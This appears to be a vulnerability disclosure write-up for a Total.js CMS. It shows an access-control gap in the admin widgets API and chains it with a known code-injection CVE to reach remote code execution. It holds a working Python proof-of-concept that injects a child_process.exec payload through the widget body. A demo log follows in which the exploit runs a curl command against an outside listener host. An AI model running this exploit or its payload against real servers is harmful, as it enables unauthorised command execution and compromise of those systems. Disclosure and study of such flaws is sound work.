

# H1 Broken Access Control TO RCE

Any user (including unauthorized users) can call `/api/widgets/`. This leads to rce

## Code Analysis

`cmsbundle.src\controllers\admin.js`

- `/api/widgets` be allow call any user

```
cmsbundle> src > controllers > admin.js > [0] ALLOW
1 const MSG_NOTIFY = { TYPE: 'notify' };
2 const MSG_ALERT = { TYPE: 'alert' };
3 const COOKIE_OPTIONS = { security: 'strict', httpOnly: true };
4 const ALLOW = ['/api/dependencies/', '/api/pages/preview/', '/api/upload/', '/api/nav/', '/api/files/', '/stats/', '/live/', '/api/widgets/', '/logout/'];
5 const ADMINURL = '/admin/';
6
7 var DOOS = {};
8 var WS = null;
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97 // Roles
98 if (!user.sa && user.roles.length && controller.url !== ADMINURL) {
99
100     var cancel = true;
101
102     for (var i = 0, length = user.roles.length; i < length; i++) {
103         var role = user.roles[i];
104
105         if (controller.url.indexOf(role.toLowerCase()) !== -1) {
106             cancel = false;
107             break;
108         }
109     }
110
111     // Allowed URL
112     if (cancel) {
113         for (var i = 0, length = ALLOW.length; i < length; i++) {
114             if (controller.url.indexOf(ALLOW[i]) !== -1) {
115                 cancel = false;
116                 break;
117             }
118         }
119     }
120
121     if (cancel) {
122         controller.cancel();
123         controller.throw401();
124         return;
125     }
126 }
127 }
```

- Users aren't grant privileges , also using api :

```
// Widgets
ROUTE('GET /admin/api/widgets/ *Widgets --> @query');
ROUTE('GET /admin/api/widgets/{id}/ *Widgets --> @read');
ROUTE('POST /admin/api/widgets/ *Widgets --> @save');
ROUTE('DELETE /admin/api/widgets/{id}/ *Widgets --> @remove');
ROUTE('GET /admin/api/widgets/{id}/editor/ *Widgets --> @editor');
ROUTE('GET /admin/api/widgets/dependencies/ *Widgets --> @dependencies');
ROUTE('GET /admin/api/widgets/{id}/settings/ *Widgets', settings);
ROUTE('GET /admin/api/widgets/{id}/backups/ *Common --> @backup');

// Widget globals
ROUTE('GET /admin/api/widgets/globals/ *Widgets/Globals --> @read');
ROUTE('POST /admin/api/widgets/globals/ *Widgets/Globals --> @save', 30);
};
```

- Combine `CVE-2019-15954 (Code Injection)` -> **RCE unauthorized**

## PoC

- (Needing user in website)

```
1 import requests
2 import sys
3
```

```

4 session = requests.Session()
5
6 def request(cookie,cmd):
7     headers = {"Content-Type":"application/json; charset=utf-8"}
8     cookies = {"__admin":cookie}
9     payload = "\"<script
total>global.process.mainModule.require(\'child_process\').exec('
%s\');</script>\"" %(cmd)
10     rawBody = '{"name":"meomeo","body":%s,"category":"Inline"}' %
(payload)
11     response =
session.post("http://localhost:8000/admin/api/widgets/",
data=rawBody,headers=headers ,cookies=cookies ,)
12     if "true" in response.text:
13         print("RCE!")
14     else:
15         print(response.text)
16
17
18 if __name__ == "__main__":
19     if len(sys.argv) < 4:
20         print("Help: python PoC.py + cookie + cmd")
21         sys.exit()
22     else:
23         url = sys.argv[1]
24         cookie = sys.argv[2]
25         cmd = sys.argv[3]
26         request(cookie,cmd)

```

## demo:

```

root@hao:~# python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 ...
27.74.255.126 - - [18/Feb/2020 07:47:16] code 404, message File not found
27.74.255.126 - - [18/Feb/2020 07:47:16] "GET /RCE HTTP/1.1" 404

C:\Users\Admin\Desktop\security-training\Research\totaljs>python3 PoC.py http://127.0.0.1:8000 1461807948ddc4d8a55dda
0645ba44e7b93cb87c29fe1778dce38d16cc82b "curl 149.28.128.52:4444/RCE"
RCE!

C:\Users\Admin\Desktop\security-training\Research\totaljs>

```